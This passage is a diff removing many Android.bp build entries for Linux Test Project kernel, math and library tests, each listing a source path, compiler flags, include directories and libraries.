-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_splice05",
-    stem: "splice05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/splice/splice05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_splice04",
-    stem: "splice04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/splice/splice04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stack_space",
-    stem: "stack_space",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vmtests/stack_space.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_splice01",
-    stem: "splice01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/splice/splice01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_splice03",
-    stem: "splice03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/splice/splice03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_splice02",
-    stem: "splice02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/splice/splice02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpgrp01",
-    stem: "getpgrp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpgrp/getpgrp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socket01",
-    stem: "socket01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socket/socket01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setitimer03",
-    stem: "setitimer03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setitimer/setitimer03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lgetxattr01",
-    stem: "lgetxattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_float_power",
-    stem: "float_power",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/float_power.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statfs03",
-    stem: "statfs03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/statfs",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_access02",
-    stem: "access02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/access/access02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_process_state",
-    stem: "tst_process_state",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_process_state.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getresuid03",
-    stem: "getresuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresuid/getresuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioperm02",
-    stem: "ioperm02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioperm/ioperm02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress05",
-    stem: "mmapstress05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genmodf",
-    stem: "genmodf",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genmodf.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_timer_gettime01",
-    stem: "timer_gettime01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timer_gettime/timer_gettime01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile09",
-    stem: "sendfile09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_latency_test",
-    stem: "cpuctl_latency_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_latency_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_pm_get_sched_values",
-    stem: "pm_get_sched_values",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/power_management/pm_get_sched_values.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid11",
-    stem: "waitpid11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cap_bset_inh_bounds",
-    stem: "cap_bset_inh_bounds",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/cap_bset_inh_bounds.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_swapoff02",
-    stem: "swapoff02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/swapoff/swapoff02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl30",
-    stem: "fcntl30",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl30.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpeername01",
-    stem: "getpeername01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpeername/getpeername01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl32",
-    stem: "fcntl32",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl32.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl33",
-    stem: "fcntl33",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl33.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl34",
-    stem: "fcntl34",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl34.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl35",
-    stem: "fcntl35",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl35.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl36",
-    stem: "fcntl36",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl36.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_process_vm_readv03",
-    stem: "process_vm_readv03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/cma/process_vm_readv03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_strstatus",
-    stem: "tst_strstatus",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/tst_strstatus.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2016-7117",
-    stem: "cve-2016-7117",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2016-7117.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test03",
-    stem: "test03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test02",
-    stem: "test02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test01",
-    stem: "test01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test07",
-    stem: "test07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test06",
-    stem: "test06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test05",
-    stem: "test05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test04",
-    stem: "test04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_accept4_01",
-    stem: "accept4_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/accept4/accept4_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test09",
-    stem: "test09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test08",
-    stem: "test08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_def_task04",
-    stem: "cpuctl_def_task04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_endian_switch01",
-    stem: "endian_switch01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/switch/endian_switch01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendto02",
-    stem: "sendto02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendto/sendto02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendto01",
-    stem: "sendto01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendto/sendto01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigrelse01",
-    stem: "sigrelse01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigrelse/sigrelse01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid12",
-    stem: "waitpid12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod01",
-    stem: "mknod01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid05",
-    stem: "waitpid05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid04",
-    stem: "waitpid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid07",
-    stem: "waitpid07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid06",
-    stem: "waitpid06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid01",
-    stem: "waitpid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcg_test_4",
-    stem: "memcg_test_4",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_4.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid03",
-    stem: "waitpid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid02",
-    stem: "waitpid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setscheduler03",
-    stem: "sched_setscheduler03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setscheduler02",
-    stem: "sched_setscheduler02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setscheduler01",
-    stem: "sched_setscheduler01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm02",
-    stem: "alarm02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm05",
-    stem: "alarm05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_netstress",
-    stem: "netstress",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/netstress/netstress.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm07",
-    stem: "alarm07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm06",
-    stem: "alarm06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_msync01",
-    stem: "msync01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/msync/msync01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_msync03",
-    stem: "msync03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/msync/msync03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_msync02",
-    stem: "msync02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/msync/msync02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_msync04",
-    stem: "msync04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/msync/msync04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execl01_child",
-    stem: "execl01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execl/execl01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_record_childstatus",
-    stem: "tst_record_childstatus",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_record_childstatus.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genatan2",
-    stem: "genatan2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/genatan2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_rewrite_test",
-    stem: "tomoyo_rewrite_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_rewrite_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchownat02",
-    stem: "fchownat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchownat/fchownat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigaction01",
-    stem: "sigaction01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigaction/sigaction01.c"],
-    cflags: [
-        "-DGLIBC_SIGACTION_BUG=1",
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigaction02",
-    stem: "sigaction02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigaction/sigaction02.c"],
-    cflags: [
-        "-DGLIBC_SIGACTION_BUG=1",
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod03",
-    stem: "fchmod03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_writev02",
-    stem: "writev02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mc_member_test",
-    stem: "mc_member_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/multicast/mc_member/mc_member_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_writev07",
-    stem: "writev07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_writev06",
-    stem: "writev06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_geniperb",
-    stem: "geniperb",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/iperb/geniperb.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_genldexp",
-    stem: "genldexp",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genldexp.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_sysfs03",
-    stem: "sysfs03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_trerrno",
-    stem: "trerrno",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/trerrno.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysfs02",
-    stem: "sysfs02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe2_01",
